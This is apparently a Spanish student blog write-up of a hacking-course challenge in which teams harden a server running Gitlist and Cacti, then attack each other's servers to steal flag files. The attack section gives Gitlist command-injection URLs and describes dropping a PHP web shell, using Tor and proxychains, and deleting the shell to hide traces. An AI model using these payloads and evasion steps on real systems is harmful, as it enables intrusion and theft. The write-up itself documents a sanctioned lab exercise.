ethicalhack

El Reto

El RETO de #moocHackingMU se desarrollará en dos fases:

1ª fase: se forman equipos de 8 personas. Se proporcionará a cada equipo acceso a un VPS con un servidor web preinstalado y una página web simple (en cuanto a diseño y funcionalidad) pero completa en lo que a proporcionar mecanismos para que pueda ser atacada se refiere.

2ª fase: Durante esta segunda fase se harán públicos los sitios web de cada equipo y se pasará a la fase de "ataque". Los equipos, además de detectar vulnerabilidades de otros equipos y guardar evidencias de ello, tendran que evitar ataques por parte de otros equipos.

Servidor proporcionado

Dirección IP del servidor: 45.55.93.161
Contraseña del usuario admin: 24472b0b41e6fccfaea0de349afebb6d
El servidor es una máquina Debian Wheezy de 32 bits i686 en modo solo texto. Para acceder debe usarse SSH (no tiene telnet instalado).

nmap -sV -A 45.55.93.161 -Pn -p 21,22,80

Starting Nmap 7.12 ( https://nmap.org ) at 2016-09-29 11:24 CEST Nmap scan report for 45.55.93.161
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 1026 Oct 05 2015 mooc-hacking-team-0011-level-02.gpg 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
THE FORCE OF HACK
 | 1024 9a:b6:6f:84:a3:2c:0e:5b:6c:c4:bc:31:6d:ad:ff:a4 (DSA)
| 2048 e6:9a:51:f9:4f:cb:91:72:68:4a:48:b8:16:da:4c:fb (RSA)
|_ 256 a1:b1:f4:c8:53:d6:3e:20:6e:ce:71:ee:45:d1:97:66 (ECDSA) 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian)
|_http-title: #moocHackingMU Sitio web para el reto final
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

El software proteger sera:

- Gitlist: Versión actual 0.3.0

- Cacti: Versión actual 0.8.8b

Se localizan los archivos a proteger en el servidor:

root@team-0011:~# find / -name "mooc-hacking-team-*-level-*.gpg"
/srv/ftp/mooc-hacking-team-0011-level-02.gpg
/usr/share/doc/base-files/mooc-hacking-team-0011-level-01.gpg
/var/lib/mysql/mooc-hacking-team-0011-level-03.gpg

Fase 1

En esta primera fase se toman y llevan a cabo las siguientes decisiones:

- Web customizada con un avatar que nos represente, un nombre de "guerra" y una frase que nos describa.

index

Sistema operativo

- Dar de alta usuario con permisos de root y bloquear cuenta root

- Modificación de archivo login.defs, archivo de configuración de directivas locales y de seguridad.

- Aplicar una actualización del sistema operativo, update & upgrade

- Se elimina el acceso a root desde ssh

- Se configura el firewall, instalando el paquete de iptables-persistent. Se opta a tomar una política por defecto de bloqueo y se va abriendo según necesidad:

  1. Se decide dejar abierto los servicios smtp. ftp, http y mysql puesto que venían con la instalación.
  2. Se limita el número de conexiones por ip.
  3. Se toma la decisión de no bloquear ipv6.

Apache

- Cambiar el banner del servidor Web para que no sea detectado

- Desactivar el listado de directorios

- Instalar modsecurity, firewall a nivel de aplicación

- Instalar Mod_evasive para evitar DDoS

- Deshabilitar enlaces simbólicos

- Con modsecurity se configuran reglas contra SQL-Inyection y XSS

MySQL

- Se cambia la clave a root.

- Se comprueban las tablas de las BBDD

- Procedemos a cambiar la clave del usuario cacti.

- Se comprueba las bases de datos y usuarios de las mismas

VSFTP

Modificar el usuario root de FTP y modificar sftpd.LIST

Eliminar el acceso anónimo al ftp que expone un gpg.

Enjaulado usuarios

Crear "usuarioftp", un usuario sin permisos de llegar al directorio raiz

GITLIST

Vulnerabilidades detectadas CVE-2014-4511, CVE-2014-5023 y CVE-2013-7392

Para solucionar este problema en nuestro servidor, creamos un script simple en php que detecta el uso de comillas en la url, si esto sucede entendemos que es un ataque y redireccionamos la petición a una página 404. Todo la ejecución de código de Gitlist se redirige mediante el archivo .htaccess al archivo index.php, con lo cual incluimos nuestro script al principio de ese archivo:

require_once('theforceofhack.php');

El contenido del archivo "theforceofhack.php" es el siguiente:

Redirección a:

404

CACTI

La versión 0.8.8b instalada presenta múltiples vulnerabilidades:
https://web.nvd.nist.gov/view/vuln/search-results?query=cacti+0.8.8b&search_type=all&cves=on

Decidimos actualizar a la última versión 0.8.8h:
https://web.nvd.nist.gov/view/vuln/search-results?query=cacti+0.8.8h&search_type=all&cves=on

Proceso de actualización de 0.8.8b a versión 0.8.8h manteniendo los datos de clientes existentes:

Crear backup:

root@team-0011:/# cd /usr/share/cacti
root@team-0011:/usr/share/cacti# mkdir dbbackup
root@team-0011:/usr/share/cacti# cd dbbackup root@team-0011:/usr/share/cacti/dbbackup# mysqldump -uroot -p -l --add-drop-table cacti > mysql.cacti.sql

Comprobar backup:

root@team-0011:/usr/share/cacti/dbbackup# ls
mysql.cacti.sql
root@team-0011:/usr/share/cacti/dbbackup# nano mysql.cacti.sql

Descargar nueva version y descomprimir:

root@team-0011:/usr/share/cacti/dbbackup# cd ..
root@team-0011:/usr/share/cacti# wget http://www.cacti.net/downloads/cacti-0.8.8h.tar.gz root@team-0011:/usr/share/cacti# tar xzvf cacti-0.8.8h.tar.gz

Editar datos de conexión de la base de datos:

root@team-0011:/usr/share/cacti# nano cacti-0.8.8h/include/config.php

Copiar archivos necesarios:

root@team-0011:/usr/share/cacti# cp -u site/scripts/* cacti-0.8.8h/scripts/ root@team-0011:/usr/share/cacti# cp -u -R site/resource/* cacti-0.8.8h/resource/

Renombrar las carpetas para acceder a la nueva instalación:

root@team-0011:/usr/share/cacti# mv site site_old root@team-0011:/usr/share/cacti# mv cacti-0.8.8h site

Ir a http://45.55.93.161/cacti/index.php y seguir las instrucciones.

cacti-update

cacti-update

cacti-update

cacti-update

cacti-update

cacti-update

+Info: http://www.cacti.net/downloads/docs/html/upgrade.html

FASE 2: ATAQUE

- Análisis de todos los servidores de los equipos con nmap.

- Uso de metasploit y diferentes exploits contra varios servicios, no se logran encontrar vulnerabilidades.

- A través de las vulnerabilidades de GITLIST se logran los siguientes archivos:

files

El método empleado es el siguiente:

Este método utiliza una vulnerabilidad de Gitlist, la cual permite ejecutar comandos por Url, ejemplo:

http://159.203.114.191/gitlist/demo-repository/blob/master/%60ls%20-la%60.md

Además es posible escribir en la carpeta “cache” de Gitlist, la cual es accesible por Url. Para sacar los archivos level-01 y level-02 podríamos ejecutar en para url:

“find / -name "mooc-hacking-team-*-level-*.gpg"


http://159.203.114.191/gitlist/demo-repository/blob/master/%60find%20/%20-name%20%22mooc-hacking-team-*-level-*.gpg%22%60.md

Con esto tendríamos el nombre y la ubicación de los archivos y mediante un simple “cat” podríamos ver su contenido. El fichero level-03 no podríamos verlo de esta manera ya que no tenemos permisos para leerlo en la ubicación en la que está “/var/lib/mysql”, entendemos que para verlo necesitamos permisos de un usuario de MySql. Usaremos en usuario de la aplicación Cacti para ello. Para facilitar la búsqueda y descarga de archivos creamos nuestro propio script en php:

Nos permite una búsqueda automática de los archivos y la descarga del fichero level-03 mediante el usuario “cacti” a través de una tabla temporal que creamos en MySql. Pasamos el script en php a base64 y usamos el siguiente script en Python para subirlo a la carpeta “cache” de Gitlist:

El exploit crea el archivo en disco y lo convierte de base64 a formato normal, ejemplo de ejecución:

$ python exploit.py http://159.203.114.191/gitlist/demo-repository /var/www/html/gitlist/cache
[!] Using cache location /var/www/html/gitlist/cache
[!] Shell dropped; go hit http://159.203.114.191/gitlist/cache/hack.php?cmd=ls

El script php está preparado para recibir un parámetro “search” que facilita la descarga de los archivos, ejemplo:

http://159.203.114.191/gitlist/cache/hack.php?cmd=search

example

Para realizar este ataque, ejecutamos el exploit en Python con “Proxychains” a través de la red “Tor”, una vez subido el archivo php, accedemos a él mediante el navegador “Tor”. Cuando hemos acabado de descargar los archivos eliminamos el script en php mediante un parámetro “remove” que hemos preparado en el script:

http://159.203.114.191/gitlist/cache/hack.php?cmd=remove

Así intentamos dejar el mínimo rastro posible.

Para uno de los equipos tuvimos que cambiar un poco el método, podíamos subir el script php mediante el exploit python pero no acceder a él por url, como podiamos seguir ejecuante comandos a través de GitList, pudimos descar los archivos de level-01 y level-02 con un simple “cat” y variamos el script en php para poder ejecutarlo directamente con el interprete de php. Subimos este script:

y lo ejecutamos de la siguiente manera para sacar el level-03:

hack

Ataques recibidos

En la segunda fase, no hemos detectado indicios de robo de nuestro archivos gpg.

Hemos monitorizado los siguiente:

- Intentos de conexión al servidor ftp con múltiples usuarios.
- Intentos de acceso por ssh con múltiples usuarios.
- No se ha detectado actividad en el servidor Mysql.
- Los principales ataques han sido contra gitlist, intentando explotar la vulnerabilidad de este servicio, sin impacto.

Mi aporte al grupo:

- Ser designado como enlace entre el grupo y el curso

- Creación de web del equipo

- Creación de script de protección del GITLIST

- Creación de página 404 para redirección del script anterior

- Actualización de CACTI

- Creación de scripts de PHP para ataques a GITLIST

- Ataques y descarga de archivos gpg

- Monitorización de Apache para descubrimiento de ataques

- Participación activa en el grupo y toma de decisiones

Experiencia:

Analizando el curso globalmente, la participación ha sido positiva. La parte que más me ha gustado ha sido "El reto", ya que entras en contacto con más gente y puedes aprender de otras personas, lo cual siempre es enriquecedor.

Como punto negativo comentar que el feedback por parte de los organizadores del curso es muy bajo. No existe manera de preguntar dudas etc..., esto es comprensible ya que el curso es gratituo y abierto a todo el mundo, para aprender dependes un poco de ti mismo, y en la última fase, de los compañeros con los que formes en grupo y su implicación.

Curso: